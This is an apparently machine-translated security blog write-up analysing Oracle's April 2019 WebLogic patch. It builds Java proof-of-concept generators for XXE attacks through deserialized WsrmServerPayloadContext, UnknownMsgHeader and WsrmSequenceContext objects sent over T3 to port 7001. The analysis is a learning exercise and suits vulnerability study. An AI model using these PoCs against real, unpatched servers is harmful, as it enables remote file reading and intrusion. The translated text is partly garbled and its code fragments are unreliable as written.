Shulou(Shulou.com)06/01 Report--

Oracle released the April patch, see the link (https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW) for details.

@ xxlegend analyzes one of the XXE vulnerabilities in "weblogic CVE-2019-2647 and other related XXE vulnerability Analysis" and gives the PoC. Not long after I started java, I tried to analyze the XXE of other points and construct PoC for the purpose of learning. The following analysis I try to describe my thinking and PoC construction process, the novice will really step on a lot of inexplicable holes. Thanks to my partner @ Badcode, who helped me in the process of reproduction and analysis. Without his help, it would have taken me more than half of the time to build up the environment.

Patch analysis to find the leak

According to the common XXE writing and defense methods of JAVA (refer to https://blog.spoock.com/2018/10/23/java-xxe/), by comparing the patches, it is found that the following setFeature operations have been carried out in the following new patches:

It should be the corresponding four CVE, of which the boss ForeignRecoveryContext @ xxlegend has already analyzed it, so I won't analyze it any more. The following is mainly about the other three points.

Analytical environment

Windows 10

WebLogic 10.3.6.0

Jdk160_29 (JDK included with WebLogic 10.3.6.0)

Analysis of WsrmServerPayloadContext leak point

The code fixed by WsrmServerPayloadContext is as follows:

Package weblogic.wsee.reliability;import... public class WsrmServerPayloadContext extends WsrmPayloadContext {public void readExternal (ObjectInput var1) throws IOException, ClassNotFoundException {...} private EndpointReference readEndpt (ObjectInput var1, int var2) throws IOException, ClassNotFoundException {... ByteArrayInputStream var15 = new ByteArrayInputStream (var3); try {DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance (); try {String var8 = "http://xml.org/sax/features/external-general-entities"; var7.setFeature (var8, false); var8 =" http://xml.org/sax/features/external-parameter-entities"; Var7.setFeature (var8, false); var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; var7.setFeature (var8, false); var7.setXIncludeAware (false); var7.setExpandEntityReferences (false) } catch (Exception var11) {if (verbose) {Verbose.log ("Failed to set factory:" + var11);}}...}}

You can see that setFeature operations are performed to prevent xxe attacks, while setFeature operations are not performed before patches are made.

ReadExternal is called when the object is deserialized, and the corresponding writeExternal is called when the object is serialized. Take a look at the logic of writeExternal:

Var1 is this.formENdpt. Note that var5.serialize can pass in three types of objects. Var1.getEndptElement () returns Element objects. First, try to create a new project to construct PoC:

The structure is as follows

Public class WeblogicXXE1 {public static void main (String [] args) throws IOException {Object instance = getXXEObject (); ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("xxe")); out.writeObject (instance); out.flush (); out.close ();} public static class MyEndpointReference extends EndpointReference {@ Override public Element getEndptElement () {super.getEndptElement (); Document doc = null Element element = null; try {DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance (); / / get DOM parser DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder () from the DOM factory; / / create document tree model object doc = dbBuilder.parse ("test.xml"); element = doc.getDocumentElement () } catch (Exception e) {e.printStackTrace ();} return element;}} public static Object getXXEObject () {EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference (); EndpointReference faultToEndpt = null; WsrmServerPayloadContext wspc = new WsrmServerPayloadContext (); try {Field F1 = wspc.getClass (). GetDeclaredField ("fromEndpt") F1.setAccessible (true); f1.set (wspc, fromEndpt); Field f2 = wspc.getClass (). GetDeclaredField ("faultToEndpt"); f2.setAccessible (true); f2.set (wspc, faultToEndpt);} catch (Exception e) {e.printStackTrace ();} return wspc;}}

The content of test.xml is as follows. If my.dtd is temporarily empty, test whether the request can be received:

four

Run PoC, and the resulting deserialized data xxe is opened using a hexadecimal viewer:

Found that DOCTYPE could not be introduced

I have tried the following methods:

It is mentioned above that var5.serialize can be passed in a Document object. After testing, it is true that it can, but how to make getEndptElement return a Document object?

I tried to create an EndpointReference class and modify the getEndptElement return object. The content is the same as the original content, but I couldn't find the class I created during deserialization because the class package I built was different from the original one, so I failed.

Try to replace a class dynamically like Python. It seems that Java can't do it.

A violent method was tried to replace the classes in the Jar package. First copy the modules folder of Weblogic and the wlserver_10.3\ server\ lib folder to another directory, extract wlserver_10.3\ server\ lib\ weblogic.jar, delete the WsrmServerPayloadContext.class class, and re-compress it to weblogic.Jar, then create a new project, introduce the required Jar files (modules and all Jar packages in wlserver_10.3\ server\ lib), then create a new package name with the same name as WsrmServerPayloadContext.class, and create a new WsrmServerPayloadContext.class class in it Copy the original content and modify it (only to generate data that triggers xml parsing and has no effect on readExternal deserialization).

The content modified by WsrmServerPayloadContext.class is as follows:

After testing, the second method is feasible, but the process seems to be a little complicated. Then try to create a new package name that is the same as the original WsrmServerPayloadContext.class class, and then modify it in the same way as the second way

It is also feasible to test this method, and it is more convenient to operate than the second method.

Construct a new PoC:

Public class WeblogicXXE1 {public static void main (String [] args) throws IOException {Object instance = getXXEObject (); ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("xxe")); out.writeObject (instance); out.flush (); out.close ();} public static Object getXXEObject () {EndpointReference fromEndpt = new EndpointReference (); EndpointReference faultToEndpt = null; WsrmServerPayloadContext wspc = new WsrmServerPayloadContext () Try {Field F1 = wspc.getClass (). GetDeclaredField ("fromEndpt"); f1.setAccessible (true); f1.set (wspc, fromEndpt); Field f2 = wspc.getClass (). GetDeclaredField ("faultToEndpt"); f2.setAccessible (true); f2.set (wspc, faultToEndpt);} catch (Exception e) {e.printStackTrace () } return wspc;}}

Check out the newly generated xxe hexadecimal

DOCTYPE has been written

Under test, use T3 protocol script to send serialized data to WebLogic 7001 port:

Beautiful, received the request, the next step is to try to read the file or not.

The constructed test.xml is as follows:

Dtd; send;] > xxe

The my.dtd is as follows (my.dtd clears deserialization data when using PoC to generate deserialization data, otherwise it will report an error in dbBuilder.parse and cannot generate normal deserialization data. As to why, you can only understand it after testing it yourself:

% all

Run PoC to generate deserialized data, test and find that requests can not be received. All right, check out hexadecimal:

% dtd;%send; is missing..., probably because of the DOM parser, the my.dtd content is empty and the data is not referenced.

Try debug to take a look:

You can see that% dtd;%send; is indeed disposed of.

After loading external data normally under test, the my.dtd is changed to the following:

% all

The gen.xml is:

Debug, take a look:

You can see that% dtd;%send; has been replaced by the contents of my.dtd. Debug looks at the xml parsing process with an EntityScanner in the middle, which detects the ENTITY in the xml and determines whether the external resource is loaded. If so, the external resource is loaded, and then the entity reference is replaced with the content declared by the entity. In other words, the xml data in the deserialized data we constructed has already been parsed once, and what is needed is the unparsed data for the target to parse.

So I tried to modify the hexadecimal as follows, so that the xml was changed to an unparsed form:

Run the PoC test

It was unexpectedly successful. At first, I thought that the piece of xml data generated by deserialization would still be checked, otherwise it would not be possible to deserialize, and it would not be possible to modify the data directly. I didn't expect to modify it directly.

Analysis of UnknownMsgHeader leak point

Similar to WsrmServerPayloadContext, PoC construction is also a new package and then replaced, so it will not be analyzed in detail, only that the following class modifications are related to the PoC construction.

Create a new UnknownMsgHeader class and modify writeExternal

PoC is as follows:

Public class WeblogicXXE2 {public static void main (String [] args) throws IOException {Object instance = getXXEObject (); ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("xxe")); out.writeObject (instance); out.flush (); out.close ();} public static Object getXXEObject () {QName qname = new QName ("a", "b", "c"); Element xmlHeader = null UnknownMsgHeader umh = new UnknownMsgHeader (); try {Field F1 = umh.getClass (). GetDeclaredField ("qname"); f1.setAccessible (true); f1.set (umh, qname); Field f2 = umh.getClass (). GetDeclaredField ("xmlHeader"); f2.setAccessible (true); f2.set (umh, xmlHeader) } catch (Exception e) {e.printStackTrace ();} return umh;}}

Run the PoC test (generated with the same steps as the first loophole) and use the T3 protocol script to send serialized data to the WebLogic 7001 port:

Analysis of WsrmSequenceContext leak point

This class seems to have a lot of things to construct, and the logic of readExternal and writeExternal is more complex than the first two, but PoC construction is also easy.

Create a new WsrmSequenceContext class, modify

PoC is as follows:

Public class WeblogicXXE3 {public static void main (String [] args) throws IOException {Object instance = getXXEObject (); ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("xxe")); out.writeObject (instance); out.flush (); out.close ();} public static Object getXXEObject () {EndpointReference acksTo = new EndpointReference (); WsrmSequenceContext wsc = new WsrmSequenceContext () Try {Field F1 = wsc.getClass (). GetDeclaredField ("acksTo"); f1.setAccessible (true); f1.set (wsc, acksTo);} catch (Exception e) {e.printStackTrace ();} return wsc;}}

Under test, use T3 protocol script to send serialized data to WebLogic 7001 port:

Last

All right, the analysis is complete. The first analysis of Java loopholes, there are many shortcomings, but the analysis process also learned a lot, even if it seems to be a very simple point, if you are not familiar with a feature of Java, it will take a long time to toss. So, take it one step at a time, don't be too impatient, there's still a lot to learn.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.